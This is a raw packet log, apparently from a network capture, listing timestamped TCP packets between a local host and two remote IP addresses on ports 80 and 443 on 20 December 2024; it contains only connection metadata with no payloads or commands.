Dec 20, 2024 04:12:46.405976057 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.405994892 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.407547951 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.407603025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.407646894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.407685041 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.409225941 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.409315109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.409359932 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.410929918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.411004066 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.411042929 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.412625074 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.412728071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.412770033 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.414299965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.414405107 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.414453030 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.415997982 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.416049004 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.416140079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.417869091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.417913914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.417920113 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.417956114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.419372082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.419481993 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.419531107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.421047926 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.421175003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.421217918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.422776937 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.422821999 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.422849894 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.423989058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.424415112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.424453974 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.424520969 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.424557924 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.529341936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.529424906 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.529480934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.529937983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.529984951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.530183077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.530222893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.530348063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.530390024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.531527996 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.531642914 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.531680107 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.532887936 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.533013105 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.533056974 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.534240961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.534281015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.534337997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.535581112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.535623074 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.535671949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.536958933 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.537003994 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.537065983 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.537103891 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.538196087 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.538316011 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.538358927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.539498091 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.539604902 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.539649010 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.540791988 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.540838957 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.540843964 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:46.540857077 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.540909052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.541070938 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:46.542110920 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.542192936 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:46.542253017 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.542283058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.542283058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.543354034 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.543457031 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.543502092 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.544579029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.544686079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.544732094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.545829058 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.545871019 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.545929909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.547086954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.547126055 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.547178984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.548296928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.548345089 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.548506975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.548547029 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.549518108 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.549643040 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.549678087 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.550740957 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.550848961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.550889015 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.551955938 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.552005053 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.552059889 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.552975893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.553184986 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.553309917 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.553360939 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.554410934 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.554506063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.554548025 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.555651903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.555752039 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.555793047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.556876898 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.556925058 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.556988955 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.557024956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.558124065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.558226109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.558264017 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.559303999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.559376955 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.559417963 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.560534000 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.560580969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.560626984 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.561743975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.561805964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.561817884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.561970949 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.562994003 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.563087940 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.563142061 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.564219952 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.564393044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.564455986 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.565526962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.565541029 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.565568924 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.565578938 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.566631079 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.566678047 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.566740036 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.567878962 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.567926884 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.568007946 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.568079948 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.569082975 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.569184065 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.569227934 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.570319891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.570369959 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.570488930 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.571062088 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.571562052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.571614981 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.571618080 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.571671009 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.572746038 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.572783947 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.572871923 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.572906017 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.573975086 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.574052095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.574105024 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.575182915 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.575289965 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.575370073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.576406956 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.576452971 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.576508999 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.576986074 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.577630997 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.577702045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.577744961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.578907013 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.579343081 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.579391956 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.580090046 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.580198050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.580246925 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.581293106 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.581335068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.581398964 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.582669973 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.582710028 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.582770109 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.583755970 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.583808899 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.583841085 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.583878994 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.584956884 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.585081100 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.585130930 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.586199045 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.586301088 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.586353064 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.587430954 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.587480068 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.587534904 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.588633060 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.588687897 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.588745117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.588979959 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.589855909 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.589962959 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.590018988 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.591088057 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.591204882 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.591255903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.592365026 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.592511892 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.592565060 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.593529940 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.593633890 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.593702078 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.610368967 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:46.610368967 CET	49876	443	192.168.2.4	104.21.91.209
Dec 20, 2024 04:12:46.610436916 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:46.610466957 CET	443	49876	104.21.91.209	192.168.2.4
Dec 20, 2024 04:12:46.721729994 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.721781969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.721889019 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.722313881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.722357035 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.722438097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.722477913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.723375082 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.723422050 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.723488092 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.723532915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.724483967 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.724530935 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.724637985 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.724678993 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.725594044 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.725637913 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.725684881 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.725735903 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.726699114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.726737976 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.726807117 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.726841927 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.727804899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.727854967 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.727891922 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.728951931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.728991032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.729094028 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.729968071 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.729989052 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.730098963 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.730134964 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.731105089 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.731220961 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.731257915 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.732265949 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.732301950 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.732387066 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.732975006 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.733318090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.733355045 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.733433008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.733467102 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.734421015 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.734457016 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.734518051 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.734553099 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.735546112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.735583067 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.735610008 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.735647917 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.736659050 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.736779928 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.736819983 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.737744093 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.737780094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.737852097 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.737912893 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.738843918 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.738881111 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.738945007 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.739950895 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.739985943 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.740058899 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.740240097 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.741072893 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.741113901 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.741198063 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.741231918 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.742168903 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.742250919 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.742254972 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.742311001 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.743295908 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.743366957 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.743391991 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.743474960 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.744378090 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.744420052 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.744498014 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.744977951 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.745484114 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.745541096 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.745593071 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.745632887 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.746578932 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.746629000 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.746705055 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.747471094 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.747711897 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.747747898 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.747819901 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.747987032 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.748802900 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.748855114 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.748917103 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.749404907 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.749919891 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.749958038 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.750013113 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.750051022 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.751014948 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.751065969 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.751107931 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.751177073 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.752154112 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.752198935 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.752230883 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.752273083 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.753230095 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.753276110 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.753335953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.753381014 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.754318953 CET	80	49875	31.41.244.11	192.168.2.4
Dec 20, 2024 04:12:46.754359961 CET	49875	80	192.168.2.4	31.41.244.11
Dec 20, 2024 04:12:46.754440069 CET	80	49875	31.41.244.11	192.168.2.4
